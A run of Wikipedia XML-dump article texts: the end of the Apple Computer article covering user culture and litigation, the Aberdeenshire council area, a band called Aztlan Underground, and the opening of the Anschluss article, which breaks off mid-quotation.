* [[Ron Johnson (Apple)|Ron Johnson]], senior vice president of retail
* [[Sina Tamaddon]], senior vice president of applications
* [[Peter Oppenheimer]], senior vice president and [[Chief Financial Officer|CFO]]
* [[Avie Tevanian]], chief software technology officer

==User culture==
:''See Also: [[Cult of Mac]]''

Some Apple customers are devoted to their brand. Some refuse to buy from competitors and stridently uphold their belief in the perceived superiority of Apple products; according to surveys by [[J. D. Power]], Apple has the highest brand and repurchase loyalty of any computer manufacturer. While this brand loyalty is considered unusual for any product, Apple appears not to have gone out of its way to create it. At one time, [[Apple evangelist]]s were actively engaged by the company, but this was after the phenomenon was already firmly established. As [[Guy Kawasaki]] has said, &quot;[the brand fanaticism was] something that was stumbled upon&quot;.&lt;ref&gt;[http://www.creatingcustomerevangelists.com/resources/evangelists/guy_kawasaki.asp The father of evangelism marketing] by Ben McConnell and Jackie Huba&lt;/ref&gt;

Macintosh users meet at the [[Apple Expo]] and [[MacWorld Expo]] trade shows where Apple introduces new products each year to the industry and public. Many users show their loyalty and devotion by wearing Apple [[t-shirt]]s. Another example of Apple's user culture is the [[Apple_Store_%28retail%29|Apple Store]] openings where many wait and sleep outside of stores for days prior to their openings.

[[John Sculley]], former Apple CEO, told the Guardian newspaper in 1997: &quot;''People talk about technology, but Apple was a marketing company, It was the marketing company of the decade.''&quot;.&lt;ref&gt;[http://www.wired.com/news/culture/mac/0,56677-0.html Wired News: Apple: It's All About the Brand]&lt;/ref&gt;

==Notable litigation==
{{main|Notable litigation of Apple Computer}}
Apple's earliest court action dates to 1978 when [[Apple Records|Apple Corps]], [[The Beatles]]-founded record label, filed suit against Apple Computer for trademark infringement. The suit settled in 1981 with an amount of $80,000 being paid to Apple Corps. As a condition of the settlement, Apple Computer agreed to stay out of the music business. The case arose in 1989 again when Apple Corps sued, claiming violation of the 1981 settlement agreement. In 1991 another settlement of around $26.5 million was reached. &lt;ref&gt;[http://news.com.com/Apple+vs.+Apple+Perfect+harmony/2100-1027_3-5378401.html news.com: Apple vs. Apple: Perfect harmony?]&lt;/ref&gt; In September 2003 Apple Computer was sued by Apple Corps again, this time for introducing [[iTunes]] and the [[Apple iPod | iPod]] which Apple Corps believed was a violation of the previous agreement by Apple not to distribute music. &lt;ref&gt;[http://www.legalzoom.com/articles/article_content/article11325.html legalzoom.com: Apple v Apple: What is at the core of The Beatles’ Apple Records vs. Apple Ipod…]&lt;/ref&gt; The date for this trial has been set for [[March 27]], [[2006]] in the UK. At the present time [[the Beatles]]' songs are not available for download from any legal music download sites, including the [[iTunes Music Store]].

In 1982 Apple filed a lawsuit against [[Franklin Computer Corp.]], alleging that Franklin's ACE 100 personal computer used illegal copies of Apple's [[operating system]] and [[Read-only memory|ROM]]. [[Apple v. Franklin]] established the fundamental basis of copyright of computer software. As a result, Apple began embedding an encrypted image in ROM. This icon displays &quot;Stolen from Apple Computer&quot;.

In 1988 Apple sued Microsoft and [[Hewlett-Packard]] on the grounds that they infringed Apple's copyright on a GUI. The [[Apple Computer, Inc. v. Microsoft Corp.]] trial lasted for four years. The ruling was decided against Apple, and the concept of a GUI was no longer the domain of Apple alone.

In July 1998 [[Abdul Traya]] registered the domain name ''appleimac.com'', two months after Apple announced the [[iMac]], in an attempt to draw attention to a web-hosting business. &lt;ref&gt;[http://news.com.com/2100-1023-221921.html news.com: Teen in dispute with Apple over domain]&lt;/ref&gt; After a legal dispute that lasted until April 1999, Traya and Apple settled out of court with Apple paying legal fees and giving Traya a &quot;''token payment''&quot; in exchange for the domain name. &lt;ref&gt;[http://www.macobserver.com/news/99/april/990427/applevsteen.html macobserver.com:  Battle For Domain Name Between Apple And Teen Resolved]&lt;/ref&gt;

In 1994 Apple was sued by the astronomer and science popularizer [[Carl Sagan]] for using his name as the internal code-name for the [[Power Macintosh 7100]]. Sagan lost the suit twice. See the Carl Sagan [[Carl Sagan#Personality|article]] for details.

In November 2000, [[Benjamin Cohen]] of [http://www.cyberbritain.co.uk CyberBritain] registered the domain name &quot;itunes.co.uk&quot; for an MP3 search engine. Apple was granted a UK restricted (non music) trademark for ITUNES on [[March 23]], [[2001]], and launched its popular iTunes music store service in the UK in 2004. In 2005, Apple took the matter to the Dispute Resolution Service operated by [[.uk]] [[domain|domain name]] [[registry]] [[Nominet UK]], stating that they had rights in the name &quot;iTunes&quot;. An expert decided in Apple's favor in the dispute. Cohen launched a media offensive stating that the DRS was biased towards large businesses and made frequent threats of lawsuits against Nominet.

In November 2004, two popular [[weblog]] sites that feature [[Mac rumors community|Apple rumors]] publicly revealed information about an unreleased Apple product code-named &quot;Asteroid&quot;, also known as &quot;Project Q97&quot;. The sites, &quot;AppleInsider&quot; and &quot;PowerPage&quot;, were subpoenaed for information about their sources in the [[Apple v. Does]] case. In February 2005 it was decided by a court official in California that the bloggers do not have the same [[shield law]] protection as do journalists. In a related case, the websites went on to fight the journalistic status decision. In a separate matter, Apple filed a lawsuit against website [[Think Secret]] in January 2005, claiming that the site's reports about forthcoming Apple products violated trade secret law.

In May 2005 Apple entered into a [[class action]] settlement &lt;ref&gt;[http://www.appleipodsettlement.com http://www.appleipodsettlement.com]&lt;/ref&gt;, upheld on December 20, 2005 following an appeal, regarding the battery life of [[Apple iPod | iPod]] music players sold prior to May 2004.  Eligible members of the class are entitled to extended warranties, store credit, cash compensation, or battery replacement.

==See also==
*[[Apple Computer financial history]]
*[[Apple Developer Connection]] — Developer relations program
*[[Apple Intel transition]]
*[[Apple typography]] — Apple's [[typography|type]] related endeavors, technological and artistic
*[[Inside Macintosh]]
*[[List of Apple Computer slogans]]
*[[Macintosh clones]] — Discussion of Apple's licensing of the Macintosh platform
*[[Mac rumors community]] — in recent years, a subculture has developed around rumored products
*[[Pirates of Silicon Valley]] - A movie based on the rise of Apple and Microsoft.

==References==
&lt;references /&gt;

==Further reading==
* Gil Amelio, William L. Simon (1999) ''In the Firing Line: My 500 days at Apple'' ISBN 0887309194
* Jim Carlton, ''Apple: The Inside Story of Intrigue, Egomania and Business Blunders'' ISBN 0887309658
* Owen Linzmayer (2004), ''Apple Confidential 2.0'', No Starch Press ISBN 1593270100
* Michael Malone (1999), ''Infinite Loop'' ISBN 0385486847
* [[Steven Levy]], ''Insanely Great: The Life and Times of Macintosh, the Computer That Changed Everything'' ISBN 0140291776
* [[Andy Hertzfeld]] (2004), ''Revolution in the Valley'', O'Reilly Books ISBN 0596007191
* [http://folklore.org/index.py Folklore.org: Macintosh stories], retrieved [[November 25]], [[2005]]

==External links==
&lt;!-- Please do not add unnecessary links to this section: Wikipedia is not a link repository. See the Talk page for this article, and http://en.wikipedia.org/wiki/Wikipedia:What_Wikipedia_is_not --&gt;
{{commons|Category:Apple_Computer|Apple Computer}}

*[http://www.apple.com/ Apple Computer Official Website]
*[http://www.applematters.com/ Apple Matters - Apple news and opinion site]
*[http://www.macnn.com/ MacNN - Apple news site]
*[http://www.macfixit.com/ MacFixIt - Mac troubleshooting site]
*[http://apple.slashdot.org Slashdot: Apple]
*[http://www.macuser.co.uk/ MacUser's Apple news site]
*[http://www.maccentral.com/ Macworld's Apple news site]
*[http://www.macintouch.com/ MacInTouch - Apple and Mac news site]
*[http://www.macdailynews.com/ MacDailyNews - Apple and Mac news site]
*[http://www.insanely-great.com/ Insanely Great mac - Apple news site]
*[http://www.theapplemuseum.com/ The Apple Museum]
*[http://www.apple-history.com/ Apple-History.com - Mac OS X Hints, tips, and troubleshooting]
*[http://applepedia.com/ ApplePedia.com - An Apple-centric wiki] 
*[http://www.macinformation.com/pages/articles/article1.html The Branding of Apple]
*[http://www.buyblue.org/node/251/view/summary Apple Computer Inc Profile] at [[BuyBlue.org]]
*[http://guides.macrumors.com/ Mac Guides - MacRumors.com Guide pages (wiki)]
*[http://www.spymac.com/ Spymac - the world's largest Mac community]

{{Apple_Articles}}

[[Category:1976 establishments]]
[[Category:Apple Computer|*]]
[[Category:Brands]]
[[Category:Companies based in California]]
[[Category:Electronics companies]]
[[Category:Home computer hardware companies]]
[[Category:Human-computer interaction notables]]

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:''For other uses, see [[Aberdeenshire (disambiguation)]].''
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   |MSPs=             &lt;ul&gt;&lt;li&gt;[[Stewart Stevenson]]&lt;li&gt;[[Nora Radcliffe]]&lt;li&gt;[[Mike Rumbles]]&lt;/ul&gt;
 }}
'''Aberdeenshire''' (''Siorrachd Obar Dheathain'' in [[Scottish Gaelic|Gaelic]]) is one of the 32 [[unitary authority|unitary]] [[council areas]] in [[Scotland]].

Present day Aberdeenshire does not include the [[City of Aberdeen]] which is a unitary authority in its own right. However Aberdeenshire council has its headquarters at Woodhill House, Westburn Road, in  [[Aberdeen]] - The only Scottish council whose headquarters are based outside of the council area. It also borders [[Angus]], [[Perth and Kinross]], [[Highland]], and [[Moray]]. 

==History==
The present council area is named after the historic [[Aberdeenshire (historic)|county of Aberdeenshire]] which had different boundaries and was abolished in [[1975]]. Between 1975 and 1996 the area became part of the [[Regions of Scotland|region]] of [[Grampian]]. When the Scottish regions were abolished, a new unitary council area of Aberdeenshire was created, which revived the name of the former county but with different boundaries.

==Aberdeenshire council==
Aberdeenshire Council was established in April [[1996]], replacing three [[District council]]s ([[Banff and Buchan]], [[Gordon, Scotland|Gordon]] and [[Kincardine and Deeside]]) and part of the area of [[Grampian Region]]al Council.

There are 68 [[councillor]]s; in 2004 they were 28 [[Liberal Democrats (UK)|Liberal Democrat]], 15 [[Scottish National Party|SNP]], 14 Independent and 11 [[Conservative Party (UK)|Conservative]].

The Council's net expenditure is £399.1m a year (2003/04).

Education takes the largest share of expenditure (55%), followed by Social Work and Housing (19%), Transportation and Infrastructure (11%), and Joint Services such as Fire and Police (10%). 22% of revenue is raised locally through the Council Tax. Average Band D [[Council Tax]] is the eighth lowest in mainland Scotland at £966 (2003/04).

The council area has a population of 226,871, representing 4.5% of Scotland's total, and a 20% increase since 1981, 50% since 1971. Major towns are Peterhead (17,947), Fraserburgh (12,454), Inverurie (10,882), Stonehaven (9,577), Westhill (9,498) and Ellon (8,754). The population has a higher proportion of younger age groups than the rest of Scotland, reflecting employment-driven in-migration in recent decades.

The council has devolved power to six [[area committee]]s:
*[[Banff &amp; Buchan]],
*[[Buchan]],
*[[Formartine]],
*[[Garioch]],
*[[Marr]],
*[[Kincardine &amp; Mearns]]

;'''Banff &amp; Buchan'''
Population 35,742 (2001 Census)

Fishing and agriculture are important industries, together with associated processing and service activity.

The area is relatively self-contained, and in recent years has seen a small decline in population. It does, however, have tourism assets in its coastline, coastal villages and [[visitor attraction]]s. Economic dependency, peripherality, and the future of the Common Fisheries/Agricultural Policies, are key issues. The Buchan Local Action Plan will address some of these concerns. The Area qualifies for [[European Union Objective 2]] structural funding.

;'''Buchan'''
Population 39,160 (2001 Census)

[[Peterhead]] is the largest town in Aberdeenshire; the principal white fish landing port in Europe; and a major oil industry service centre. Equally important, is the nearby gas terminal at [[St Fergus]].

Attempts are being made to counter the negative effects of several recent key company closures and economic threats. Inland, the area is dependent upon agriculture, and many villages have seen a decline in population and services. Issues affecting Banff and Buchan also apply here, as does the future of the oil and gas industry. Part of Buchan benefits from EU aid coverage. Opportunities exist through the Buchan Local Action Plan to safeguard and enhance the economic future of Peterhead and Buchan.

;'''Formartine'''
Population 36,478 (2001 Census)

Formartine has experienced rapid population growth, particularly around [[Ellon]] and [[Oldmeldrum]], and in the south east where development has spread outwith the city of Aberdeen. By contrast, the area around [[Turriff]] retains strong dependency on the traditional agricultural economy. The area's coastline and rural environment offer recreation potential.

;'''Garioch'''
Population 42,947 (2001 Census)

Centred on [[Inverurie]], a traditional rural market town, Garioch has also experienced rapid growth due to its proximity to the city of Aberdeen. Significant growth in population, services and employment is anticipated in the [[A96 road|A96]] corridor and in [[Westhill]]. The area is largely agricultural, but is strongly affected by the City's economy and the oil and gas sector. Garioch holds growing potential for tourism, in its environment and archaeological heritage.

;'''Marr'''
Population 34,038 (2001 Census)

To the west, the mountain environment of the [[Cairngorms]] [[National Park]] sustains a well developed tourist industry based on heritage and outdoor pursuits. Forestry and livestock farming are key industries, particularly in remoter areas. Part of the area has qualified for EU financial assistance. To the east, Marr has experienced population growth due to its strong commuter links with the city of Aberdeen.

;'''Kincardine and Mearns'''
Population 38,506 (2001 Census)

Transport links with Aberdeen have encouraged very rapid population growth, especially to the north of the area. Existing settlements such as [[Portlethen]] and [[Stonehaven]] have greatly expanded, along with industrial activity. The southern part is more self-contained, with the fertile Mearns area sustaining a strong agricultural economy. Small scale tourism activity exists along its attractive coastline and former fishing villages.

{{Scotland subdivisions}}

[[Category:Unitary authorities of Scotland]]
[[Category:Aberdeenshire| ]]

[[de:Aberdeenshire]]
[[fr:Aberdeenshire]]
[[no:Aberdeenshire]]
[[pl:Aberdeenshire]]
[[zh:阿伯丁郡]]</text>
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    <title>AU</title>
    <id>858</id>
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      <contributor>
        <username>Docu</username>
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      </contributor>
      <minor />
      <comment>au is sometimes capitalized AU</comment>
      <text xml:space="preserve">#REDIRECT [[au]]</text>
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  </page>
  <page>
    <title>Aztlan Underground</title>
    <id>859</id>
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      <contributor>
        <username>Bobblewik</username>
        <id>51235</id>
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      <minor />
      <comment>reduce linking to date elements</comment>
      <text xml:space="preserve">'''Aztlan Underground''' is a fusion band from [[Los Angeles, California|Los Angeles]]. Since the early 1990s, Aztlan Underground has played [[Rapcore]]. Indigenous drums, flutes, and rattles are commonplace in its musical compositions.

This unique sound is the backdrop for the band's message of dignity for indigenous people, all of humanity, and Earth. Aztlan Underground has been cultivating a grass roots audience across the country, which has become a large and loyal underground following. Their music includes spoken word pieces and elements of punk, hip hop, rock, funk, jazz, and indigenous music, among others.

The artists are Chenek &quot;DJ Bean&quot; (turntables, samples and percussion), Yaotl (vocals, indigenous percussion), Joe &quot;Peps&quot; (bass, rattles), Zo Rock (Guitars), Ace (drums, indigenous percussion), and Bulldog (vocals, flute).

Aztlan Underground appeared on television on [[Culture Clash]] on Fox in [[1993]], was part of ''Breaking Out'', a concert on pay per view in [[1998]], and was featured in the independent films ''Algun Dia'' and ''Frontierlandia''.

The band has been mentioned or featured in various newspapers and magazines: the [[Vancouver Sun]], [[Northshore News]] (Vancouver, Canada newspaper), [[New Times]] (Los Angeles weekly entertainment newspaper), BLU Magazine (underground hip hop magazine), [[BAM Magazine]] (Southern California), [[La Banda Elastica Magazine]], and the [[Los Angeles Times]] Calendar section. It is also the subject of a chapter in ''It's Not About A Salary'', by Brian Cross.

It was nominated in the New Times 1998 &quot;Best Latin Influenced&quot; category, the BAM Magazine 1999 &quot;Best Rock en Español&quot; category, and the [[LA Weekly]] 1999 &quot;Best Hip Hop&quot; category.

Mailing address: Aztlan Underground, P.O. Box 921776, San Fernando, CA 91392.

[[Category:American musical groups]]</text>
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    <title>Aland</title>
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        <username>Mic</username>
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  <page>
    <title>Anschluss</title>
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        <username>Rich Farmbrough</username>
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      <text xml:space="preserve">{{featured article}}
[[Image:1anschluss.gif|thumb|right|250px|German troops march into [[Austria]] on [[12 March]] [[1938]].]]
The '''Anschluss'''{{ref|spelling}} ([[German language|German]]: ''connection'', or ''political union''), also known as the '''Anschluss Österreichs''', was the 1938 inclusion of [[Austria]] into &quot;[[Großdeutschland|Greater Germany]]&quot; by the [[Nazi Germany|Nazi regime]].

The events of [[March 12]], [[1938]], were the first major steps in [[Adolf Hitler]]'s long-desired expansion of [[Germany]]. The Anschluss followed the return to Germany of the [[Saarland#History|Saar]] region, which had been under the control of the [[League of Nations]] for 15 years by the terms of the [[Treaty of Versailles]]. It was followed by the inclusion of the [[Sudetenland]] later in 1938, the invasion of the remainder of [[Czechoslovakia]] in 1939, and the [[Polish September Campaign|invasion of Poland]].

The Anschluss was preceded by a period of growing political pressure on [[Austria]], exerted by Germany, demanding recognition of the outlawed Austrian National-Socialist party and later, their share of Government.  In 1938 Austrian chancellor [[Kurt Schuschnigg]], in a last bid to retain Austrian independence, announced a referendum to determine independence or union with Germany. Germany then pressured Schuschnigg into handing over power to the Nazi party. This well-planned [[Coup d'état|internal overthrow]] by the [[Austrian National Socialism|Austrian Nazi Party]] of Austria's state institutions in [[Vienna]] on [[March 11]] meant that when [[Wehrmacht]] troops entered into Austria to enforce the Anschluss, no fighting ever took place. The international response to the Anschluss was mild: The [[World War I]] [[Allies]] only lodged diplomatic protests, and no concrete action was taken to reverse the Anschluss, even though the allies were, on paper, committed to upholding the terms of the Treaty of Versailles, which specifically prohibited the union of Austria and Germany. Austria ceased to exist as an independent nation until a preliminary Austrian government was finally reinstated on [[April 27]], [[1945]], and was legally recognized by the [[Allies of World War II|Allies]] in the following months.

==Situation before the Anschluss==
[[Image:Österreich-Ungarns Ende.png|thumb|right|400px|The dissolution of [[Austria-Hungary]]
{{legend-line|gray solid 2px|Border of Austria-Hungary in 1914}}
{{legend-line|black solid 2px|Borders in 1914}}
{{legend-line|red solid 2px|Borders in 1920}}
{{legend|#EB955C|[[Empire of Austria]] in 1914}}
{{legend|#FAF0EE|[[Kingdom of Hungary]] in 1914}}
{{legend|#92A2CB|[[Bosnia and Herzegovina]] in 1914}}
]]
:''Main articles: [[German Empire]] and [[Austrofascism]]''

The idea of grouping all German people into one state had been the subject of inconclusive debate since the end of the [[Holy Roman Empire]] in 1806. Prior to 1866, it was generally thought that the unification of the German peoples could only succeed under Austrian leadership (''[[Grossdeutschland]]''), but the loss of the [[Austro-Prussian War]] by Austria allowed [[Otto von Bismarck]] to establish the [[Prussia]]n-dominated [[German Empire]] in 1871 without the German-speaking parts of [[Austria-Hungary]] (''[[Kleindeutschland]]''). When the latter broke up in 1918, many German-speaking Austrians hoped to join with Germany in the realignment of Europe, but the [[Treaty of Versailles]] and the [[Treaty of Saint-Germain]] of 1919 explicitly vetoed the inclusion of Austria within a German state, because [[France]] and [[United Kingdom|Britain]] feared the power of a larger Germany.

In the early 1930s, popular support for union with Germany remained overwhelming, and the Austrian government looked to a possible [[customs union]] with Germany in 1931. However Hitler's and the [[Nazi]]s' rise to power in Germany left the Austrian government with little enthusiasm for such formal ties. Hitler, born in Austria, had promoted an &quot;all-German Reich&quot; from the early beginnings of his leadership in the [[NSDAP]] and had publicly stated as early as 1924 in ''[[Mein Kampf]]'' that he would attempt a union, by force if necessary.

[[Austria]] shared the economic turbulence of post-1929 Europe with a high unemployment rate and unstable commerce and industry. Similar to its northern and southern neighbours these uncertain conditions made the young democracy very vulnerable. The [[First Republic]], dominated from the late 1920s by the Catholic nationalist [[Christian Social Party]] (CS), gradually disintegrated from 1933 (dissolution of parliament and ban of the Austrian National Socialists) to 1934 ([[Austrian Civil War]] in February and ban of all remaining parties except the CS) and evolved into a pseudo-[[fascist]], [[corporatist]] model of one-party government which combined the CS and the paramilitary [[Heimwehr]] with absolute state domination of [[labour relations]] and no [[freedom of the press]] (see [[Austrofascism]] and [[Patriotic Front (Austria)|Patriotic Front]]). Power was centralized in the office of the [[Chancellor of Austria|Chancellor]] who was empowered to [[rule by decree]]. The predominance of the Christian Social Party (whose economic policies were based on the [[pope|papal]] [[encyclical]] ''[[Rerum novarum]]'') was an Austrian phenomenon in that Austria's national identity had strong Catholic elements which were incorporated into the movement by way of clerical authoritarian tendencies which are certainly not to be found in Nazism. Both [[Engelbert Dollfuss]] and his successor [[Kurt Schuschnigg]] turned to Austria's other fascist neighbour, [[Italy]], for inspiration and support. Indeed, the statist corporatism often referred to as Austrofascism bore more resemblance to [[Fascism|Italian Fascism]] than German National Socialism. [[Benito Mussolini]] was able to support the independent aspirations of the Austrian dictatorship until his need for German support in [[Ethiopia]] forced him into a client relationship with Berlin that began with the 1937 [[Axis Powers|Berlin-Rome Axis]].

When Chancellor Dollfuss was assassinated by the illegal [[Austrian National Socialism|Austrian Nazi party]] on [[25 July]] [[1934]] in a failed coup, the second civil war within only one year followed, lasting until August 1934. After the failed Nazi coup, many leading Austrian Nazis fled to [[Germany]] and continued to coordinate their steps from there while the remaining Austrian Nazis started to make use of terrorist attacks against the Austrian governmental institutions (causing a death toll of more than 800 between 1934 and 1938). Dollfuss' successor Schuschnigg, who followed the political course of Dollfuss, took drastic actions against the Nazis, for instance the rounding up of Nazis (but also Social Democrats) in [[internment camps]].

==The Anschluss of 1938==
===Hitler's first moves===
[[Image:1ajansa.jpg|thumb|right|150px|Alfred Jansa was forced to retire as Chief of Staff in January 1938]]

In early 1938 Hitler had consolidated his power in Germany and was ready to reach out to fulfil his long-planned expansion. After a lengthy period of pressure by Germany, Hitler met Schuschnigg on [[12 February]] [[1938]] in [[Berchtesgaden]] ([[Bavaria]]) and instructed him to lift the ban of the Austrian Nazi party, reinstate full party freedoms, release all imprisoned members of the [[Nazi]] party and let them participate in the government. Otherwise he would take military action. Schuschnigg complied with Hitler's demands and appointed [[Arthur Seyss-Inquart]], a Nazi lawyer, as [[Interior Minister]] and another Nazi, [[Edmund Glaise-Horstenau]], as Minister without Portfolio.{{ref|encarta}}

Even before the February meeting, Schuschnigg was under considerable pressure from Germany. This may be seen in the demand to remove the chief of staff of the [[Austrian Army]] [[Alfred Jansa]] from his office in January 1938. Jansa and his staff had developed a scenario for Austria's defence against a German attack, a situation Hitler wanted to avoid at all costs. Schuschnigg subsequently complied with the demand.{{ref|wienerzeitung}}

During the following weeks Schuschnigg realized that his newly appointed ministers were gradually working on taking over his authority. Schuschnigg tried to gather support throughout Austria and inflame [[patriotism]] among the people. For the first time since [[12 February]] [[1934]] (the time of the [[Austrian Civil War]]), socialists and communists could legally appear in public again. The [[communists]] announced their unconditional support for the Austrian government, understandable in light of Nazi pressure on Austria. The [[socialists]] demanded further concessions from Schuschnigg before they were willing to side with him.

===Schuschnigg announces a referendum===
On [[9 March]], as a last resort to preserve Austria's independence, Schuschnigg scheduled a [[plebiscite]] on the [[independence]] of Austria for [[13 March]]. To secure a large majority in the referendum, Schuschnigg set the minimum voting age at 24 in order to exclude younger voters who largely sympathized with Nazi ideology. Holding a referendum was a highly risky gamble for Schuschnigg, and on the next day it became apparent that Hitler would not simply stand by while Austria declared its independence by public vote. Hitler declared that the plebiscite would be subject to major fraud and that Germany would not accept it. In addition the German Ministry of Propaganda issued press reports that riots had broken out in Austria and that large parts of the Austrian population were calling for German troops to restore order. Schuschnigg immediately publicly replied that the reports of riots were nothing but lies—as they actually were.

Hitler sent an [[ultimatum]] to [[Schuschnigg]] on [[11 March]], demanding that he hand over all power to the [[Austrian National Socialism|Austrian National Socialists]] or face an invasion. The ultimatum was set to expire at noon, but was extended by two hours. However, without waiting for an answer, Hitler had already signed the order to send troops into Austria at one o'clock, issuing it to [[Hermann Göring]] only hours later.

Schuschnigg desperately sought support for Austrian independence in the hours following the [[ultimatum]], but, realizing that neither [[France]] nor the [[United Kingdom]] were willing to take steps, he resigned as Chancellor that evening. In the radio broadcast in which he announced his [[resignation]], he argued that he accepted the changes and allowed the Nazis to take over the government in order to avoid bloodshed. Meanwhile, Austrian President [[Wilhelm Miklas]] refused to appoint [[Artur Seyss-Inquart|Seyss-Inquart]] Chancellor and asked other Austrian politicians such as Michael Skubl and Sigismund Schilhawsky to assume the office. However, the Nazis were well organised. Within hours they managed to take control of many parts of Vienna, including the Ministry of Internal Affairs (controlling the Police). As Miklas continued to refuse to appoint a Nazi government and Seyss-Inquart still could not send a telegram in the name of the Austrian government demanding German troops to restore order, Hitler became furious. At about 10 pm, well after Hitler had signed and issued the order for the invasion, Göring and Hitler gave up on waiting and published a forged telegram containing a request by the Austrian Government for German troops to enter Austria. Around midnight, after nearly all critical offices and buildings had fallen into Nazi hands in Vienna and the main political party members of the old government had been arrested, Miklas finally conceded to appoint Seyss-Inquart Chancellor.{{ref|wienerzeitung_a}}

===German troops march into Austria===
&lt;!-- [[Image:Stimzettel-Anschluss.jpg|thumb|right|250px|Voting ballot from [[10 April]] [[1938]]. The ballot text reads &quot;Do you agree with the reunification of Austria with the German Empire that was enacted on [[13 March]] [[1938]], and do you vote for the party of our leader Adolf Hitler?,&quot; the large circle is labelled &quot;Yes,&quot; the smaller &quot;No.&quot;]] --&gt;
[[Image:Voting-booth-Anschluss-10-April-1938.jpg|thumb|right|250px|Propaganda even in the voting booth on [[10 April]] [[1938]], with a poster instructing voters how to vote &quot;Yes&quot;.]]

On the morning of [[12 March]] the 8th Army of the German [[Wehrmacht]] crossed the German-Austrian border. They did not face resistance by the [[Austrian Army]] — on the contrary, the German troops were greeted by cheering Austrians. Although the invading forces were badly organized and coordination between the units was poor, it mattered little because no fighting took place. It did, however, serve as a warning for commanders in future German military operations such as that against [[Czechoslovakia]]. Curiously, the invasion claimed its first fatality within only a few hours: the Nazi [[Heinrich Kurz von Goldstein]] died of a heart attack during the celebrations in [[Salzburg]].

Hitler's car crossed the border in the afternoon at [[Braunau]], his birthplace. In the evening, he arrived at [[Linz]] and was given an enthusiastic welcome in the city hall. The atmosphere was so intense that Göring in a telephone call that evening stated: &quot;There is unbelievable jubilation in Austria. We ourselves did not think that sympathies would be so intense.&quot;

Hitler's further travel through Austria changed into a triumphal tour that climaxed in [[Vienna]], when around 200,000 Austrians gathered on the [[Heldenplatz]] (Square of Heroes) to hear Hitler proclaim the Austrian Anschluss ([http://www.aeiou.at/aeiou.film.data.film/f107a.mpg Video: Hitler proclaims Austria's inclusion in the Reich (2MB)]). Hitler later commented: &quot;Certain foreign newspapers have said that we fell on Austria with brutal methods. I can only say: even in death they cannot stop lying. I have in the course of my political struggle won much love from my people, but when I crossed the former frontier (into Austria) there met me such a stream of love as I have never experienced. Not as tyrants have we come, but as liberators.&quot;{{ref|hitlerspeech}}

The Anschluss was given immediate effect by legislative act on [[13 March]], subject to ratification by a plebiscite. Austria became the [[province]] of [[Ostmark]], and Seyss-Inquart was appointed Governor. The plebiscite was held on [[10 April]] and officially recorded a support of 99.73 % of the voters.{{ref|doew}}
While historians concur that the result itself was not manipulated, the voting process was not free or secret. Officials were present directly beside the voting booths and received the voting ballot by hand (in contrast to a secret vote where the voting ballot is inserted into a closed box). In addition, Hitler's brutal methods to emasculate any opposition had been immediately implemented in the weeks preceding the referendum. Even before the first German soldier crossed the border, [[Heinrich Himmler]] and a few [[SS]] officers landed in Vienna to arrest prominent representatives of the First Republic such as [[Richard Schmitz]], [[Leopold Figl]], [[Friedrich Hillegeist]] and [[Franz Olah]]. During the weeks following the Anschluss (and before the plebiscite), Social Democrats, Communists, and other potential political dissenters, as well as Jews, were rounded up and either imprisoned or sent to concentration camps. Within only a few days of [[12 March]], 70,000 people had been arrested. The [[referendum]] itself was subject to large-scale [[propaganda]] and to the abrogation of the voting rights of around 400,000 people (nearly 10 % of the eligible voting population), mainly former members of left-wing parties and Jews.{{ref|doew_a}}
Interestingly, in some remote areas of Austria the referendum on the independence of Austria on [[13 March]] was held despite the [[Wehrmacht]]'s presence in Austria (it took up to 3 days to occupy every part of Austria). For instance, in the village of [[Innervillgraten]] a majority of 95 % voted for Austria's independence.{{ref|wienerzeitung_b}}

Austria remained part of the [[Third Reich]] until the end of [[World War II]] when a preliminary Austrian Government declared the Anschluss void and null on [[April 27]] [[1945]]. After the war then [[allied]] occupied Austria was recognized and treated as a separate country, but was not restored to [[sovereignty]] until the [[Austrian State Treaty]] and Austrian [[Declaration of Neutrality]], both of 1955, largely due to the rapid development of the [[Cold War]] and disputes between the [[Soviet Union]] and its former allies over its foreign policy.

==Reactions and consequences of the Anschluss==
[[Image:karl-renner.jpg|thumbnail|right|180px|Social Democrat Karl Renner publicly announced his support for the Anschluss]]

The picture of Austria in the first days of its existence in the [[Third Reich]] is one of contradictions: At one and the same time, Hitler's terror regime began to tighten its grip in every area of society, beginning with mass arrests and thousands of Austrians attempting to flee in every direction; yet Austrians could be seen cheering and welcoming German troops entering Austrian territory. Many Austrian political figures did not hesitate to announce their support of the Anschluss and their relief that it happened without violence.

Cardinal [[Theodor Innitzer]] (a political figure of the CS) declared as early as [[12 March]]: &quot;The Viennese Catholics should thank the Lord for the bloodless way this great political change has occurred, and they should pray for a great future for Austria. Needless to say, everyone should obey the orders of the new institutions.&quot; The other Austrian bishops followed suit some days later. [[Vatican Radio]], however, immediately broadcast a vehement denunciation of the German action, and Cardinal [[Pius XII|Pacelli]] ordered Innitzer to report to Rome. Before meeting with the pope, Innitzer met with Pacelli, who had been outraged by Innitzer's statement. He made it clear that Innitzer needed to retract; he was made to sign a new statement, issued on behalf of all the Austrian bishops, which provided: ''“The solemn declaration of the Austrian bishops ... was clearly not intended to be an approval of something that was not and is not compatible with God's law”''. The Vatican newspaper also reported that the bishops' earlier statement had been issued without the approval from Rome.

Robert Kauer, President of the [[Protestants]] in Austria, greeted Hitler on [[13 March]] as &quot;saviour of the 350,000 German Protestants in Austria and liberator from a five-year hardship.&quot; Even [[Karl Renner]], the most famous Social Democrat of the First Republic announced his support for the Anschluss and appealed to all Austrians to vote in favour of it on [[10 April]].{{ref|wienerzeitung_c}}

The international response to the expansion of Germany may be described as ''moderate''. ''[[The Times]]'' commented that 200 years ago Scotland had joined England as well and that this event would not really differ much. On [[14 March]] the [[British Prime Minister]] [[Neville Chamberlain]] noted in the [[House of Commons]]:

[[Image:Neville Chamberlain2.jpg|thumb|right|220px|British [[appeasement]] policy led to the [[Treaty of Munich]], the next major step for [[Hitler]] to create an all-German Reich]]
&lt;blockquote&gt;
His Majesty's Government have throughout been in the closest touch with the situation. The Foreign Secretary saw the German Foreign Minister on the 10th&amp;nbsp;of March and addressed to him a grave warning on the Austrian situation and upon what appeared to be the policy of the German Government in regard to it. . . . Late on the 11th&amp;nbsp;of March our Ambassador in Berlin registered a protest in strong terms with the German Government against such use of coercion, backed by force, against an independent State in order to create a situation incompatible with its national independence.
&lt;/blockquote&gt;
However the speech concluded:
